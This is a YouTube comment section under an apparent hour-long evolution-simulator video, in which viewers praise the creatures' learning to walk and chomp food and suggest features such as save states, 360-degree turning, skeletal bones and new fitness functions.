    @pugz3230 Před 6 lety +11

    Add a subspecies generator so after a species takes over completely it is split off onto another 1000 species originating from the one that took over.

    • @The360MlgNoscoper
      @The360MlgNoscoper Před 3 lety

      or just name species after their structure and not some supporter so we can actually see what they are

  • @throstlewanion
    @throstlewanion Před 6 lety +4

    Hello, I think your simulation is amazing and I wish you keep improving it in the future. Two suggestions I wanted to make:
    1. You should kill 500 creatures after a generation and then on top of that kill by default every creature that has gotten 0 chomps (coz they starved). That way, you could increase the median more quickly.
    2. In your video you were complaining about the creatures lack of speed, so later you could perhaps include a chomps-per-second score so that the creatures will be forced to be accurate and fast.
    Overall, amazing work. I'm hoping to see more videos from evolution sim 😄

  • @evilplaguedoctor5158
    @evilplaguedoctor5158 Před 7 lety +10

    awe, I wanted to see you set it to 360* variation at the end.
    and I agree you need a 'DNA' saver, then add different 'elite' species in a new simulation and see what happens!

  • @wvvwkx
    @wvvwkx Před 7 lety +14

    YES! EVOLUTION! ONE HOUR OMG

  • @tuppy6139
    @tuppy6139 Před 5 lety

    I watch all of the ads all the way through because I love this channel

  • @poecilonym8115
    @poecilonym8115 Před 5 lety +15

    I think that we saw more left turns than right turns is because the creatures are better at turning to the left, which means that the creature that performed better had luck and most of the food was on the left. Does that make sense?

  • @Oofmastre
    @Oofmastre Před 7 lety +27

    You should create a way to save your game.

  • @claytonharting9899
    @claytonharting9899 Před 7 lety +3

    Hey, you should add skeletal connections between nodes! That's a great way to avoid degeneracy. If you have at least a tetrahedron of bones, you can never have all your nodes on the ground! You could also get better wheels and legs this way, since the muscles would have supports to push off of. (Skeletal connections would basically just fix the distances of two nodes).

  • @karsteinsteinsen333
    @karsteinsteinsen333 Před 6 lety

    51 - 52 min wow! seeing something learn to walk and move. love youre vids keep it up.

  • @TheToadSpinner
    @TheToadSpinner Před 6 lety

    This is the coolest thing I've seen in a long time.

  • @ConHathy
    @ConHathy Před 7 lety +8

    They always flatline and I think it's the time limit. If there was some way to increase the time, or for the creatures to earn more time, I feel like you could get some very good/high performing creatures.

  • @TuetchenR
    @TuetchenR Před 6 lety +4

    52:08 the moment he went from pethadic creatures to aww that's pretty cute :3

  • @wisteria45
    @wisteria45 Před 6 lety

    I love these super long evolution simulator videos

  • @XtremeAleatorio
    @XtremeAleatorio Před 7 lety

    Doooo more of thiiiis pleaseee this is so awesome!

  • @ataready8810
    @ataready8810 Před 7 lety +12

    Maybe you can try where there is a time limit of say 9 seconds, and each node adds 3 secs until the ultimate limit is 30 seconds and the extra points gained are multiplied by the average of time between nodes getting 'chomped'. Then the creatures are measured by how much time they get plus extra points.that.have been multiplied by the average. This would help speed and maybe not hinder consistency.

  • @michaell8877
    @michaell8877 Před 7 lety +19

    41:04 whenever i find a new meme

  • @johnfapcock7986
    @johnfapcock7986 Před 7 lety

    I understand one fourth of what you're saying, but it's so mesmerizing!

  • @erian3507
    @erian3507 Před 6 lety

    Sweet! I found out about your evolution videos just today.

  • @illuminatyc5354
    @illuminatyc5354 Před 7 lety +45

    Is it possible to use this SImulator on my own? :)
    If yes, how?

    • @benedictus5657
      @benedictus5657 Před 6 lety +8

      He has the Github link in the description, but i might just be too dumb to download it correctly... Processing always gives me an exception with the use of "size()", no matter where in Setup i put it. Maybe thats what he meant with it works better in Processing 2, than 3...

    • @benedictus5657
      @benedictus5657 Před 6 lety +3

      And btw when putting it into "Settings()" i get the message:
      " [21]: java.util.TimerThread.mainLoop(Timer.java:555)
      [22]: java.util.TimerThread.run(Timer.java:505)"

    • @espartanos2529
      @espartanos2529 Před 5 lety

      Depends on the version of Processing you are using. BTW, make sure you add a ";" after Setting();

  • @Assault_Butter_Knife
    @Assault_Butter_Knife Před 7 lety +16

    What about setting the possible angle to 360 degrees from the very beginning of the simulation, so that the creatures learn to move in every direction from the beginning instead of learning to curve later on when there's only one dominant type that is specifically made to walk straight left?

    • @galiantus1354
      @galiantus1354 Před 7 lety +2

      I totally agree. Just being able to "flop" in the correct direction would be more impressive than what we saw here.

    • @grantsherman2001
      @grantsherman2001 Před 6 lety

      Yes

  • @stevo1922
    @stevo1922 Před 6 lety

    FINALLY! the interesting vids on this channel!

  • @MiamiChicken
    @MiamiChicken Před 6 lety

    Sometimes I just watch your videos in the background because its so calming, and I didn't realize that the discord notifications were from your vid and thought it was my friends annoying me. Great video though.

  • @tre14321
    @tre14321 Před 6 lety +8

    Maybe adding an element of getting killed would shake things up. For example, getting a score of 0 chomps results in an immediate kill in addition to the 500 mandatory deaths.

  • @Otiomz
    @Otiomz Před 7 lety +84

    you should make a network that tries to build the most effecient tower, you can do this by making the fitness function (highest point reached by any node)/(#of nodes in the organism) and add a stipulation of atleast one node must touch the ground at all times ( a jumping organism would get a fitness of 0)
    you would also need to add a fitness stipulation that ensures the tower is stable so make the test end early if the highest nodes stays realtivley in the same y coordinate( like a .1 tolereance for shifting y levels) for 4 seconds, if it fails to be stable by the end of the trial its fitness is 0
    i would be very interested in seeing a video about this and what the network would create
    hi bye -Dividing by the number of nodes in the organism would make small creatures. When you have a larger tower, you need a larger base to be stable.
    response- it would ensure that the organism is using its nodes efficiently, a organism that mutates a base will logically be able to reach higher but possibly not by a magnitude of 100% efficiency increase per node so i guess instead of trying to ensure efficiency for a possible endless amount of nodes just have a maximum set of allowed nodes and and the most efficient will arise so that fitness is (the highest point reached by any node) and a maximum node count should be in place to discourage a blob monster tactic that just stacks a bunch of nodes.

    • @micaelgarcia1576
      @micaelgarcia1576 Před 7 lety +1

      Evan s Same

    • @Sam-oz8pn
      @Sam-oz8pn Před 7 lety +1

      Dividing by the number of nodes in the organism would make small creatures. When you have a larger tower, you need a larger base to be stable.

    • @Otiomz
      @Otiomz Před 7 lety

      it would ensure that the organism is using its nodes efficiently, a organism that mutates a base will logically be able to reach higher but possibly not by a magnitude of 100% efficiency increase per node so i guess instead of trying to ensure efficiency for a possible endless amount of nodes just have a maximum set of allowed nodes and and the most efficient will arise so that fitness is (highest point reached by any node) we should set a maximum node count to discourage a blob monster tactic that just stacks a bunch of nodes

    • @yarde.n
      @yarde.n Před 7 lety

      Evan s longest comment ever

    • @Otiomz
      @Otiomz Před 7 lety

      @Aaron Fang Shenhao if you take a look at the source code you can see that the creatures already have "eyes" they know the position of their nodes and the position of the food orbs

  • @kalixmaxwell4742
    @kalixmaxwell4742 Před 6 lety

    I love these videos keep making more

  • @KaptenN
    @KaptenN Před 5 lety

    This was super interesting to watch. I was smiling like crazy when the cute little critter walked along hunting 28 chumps. :D

  • @brendanstein88
    @brendanstein88 Před 7 lety +547

    yay more evolution simulator
    like if you also want more

  • @jarnobreur
    @jarnobreur Před 6 lety +16

    Caryhk, i have a pretty good idea. Can you make an evolution where you make them learn to walk up and down hills. Or climb obstacles? I think this is a big challange to program but it would be a cool project.

    • @trickygamer555
      @trickygamer555 Před 4 lety

      yeah, but then it's almost torture for these poor 'creatures'

  • @clinicallymanic
    @clinicallymanic Před 7 lety

    I watched this all the way through and it was really amazing to watch life without motion or a mind become intelligent and learn by its self how to get food...

  • @Pachorraelmarce
    @Pachorraelmarce Před 6 lety

    .... This is excellent. Keep it up please.

  • @aminjeanbredimus7157
    @aminjeanbredimus7157 Před 6 lety +5

    Sup, just subscribed. I believe your problem with the projectiles and such is possibly due to a low variation of what muscles are scripted to do: basically, the only motion they can do is contract and extend. If you could add twisting and changing the angle between muscles it might add more diversity and the network might find easier and more elegant ways of locomotion. Guess I'll get to modding this once I'm done with my exams, though I'll have to get into processing first.

    • @nathancrazy
      @nathancrazy Před 2 lety

      3 years ago. What have you done now?

  • @komolunanole8697
    @komolunanole8697 Před 7 lety +16

    Please, for the sake of your own sanity. Make a function to save/load the current state, so you don't loose everything when you find a bug or something.

  • @cranberry7601
    @cranberry7601 Před 6 lety

    This has to be the best one yet.

  • @jeromesharpe1
    @jeromesharpe1 Před 6 lety

    This is some good content my dude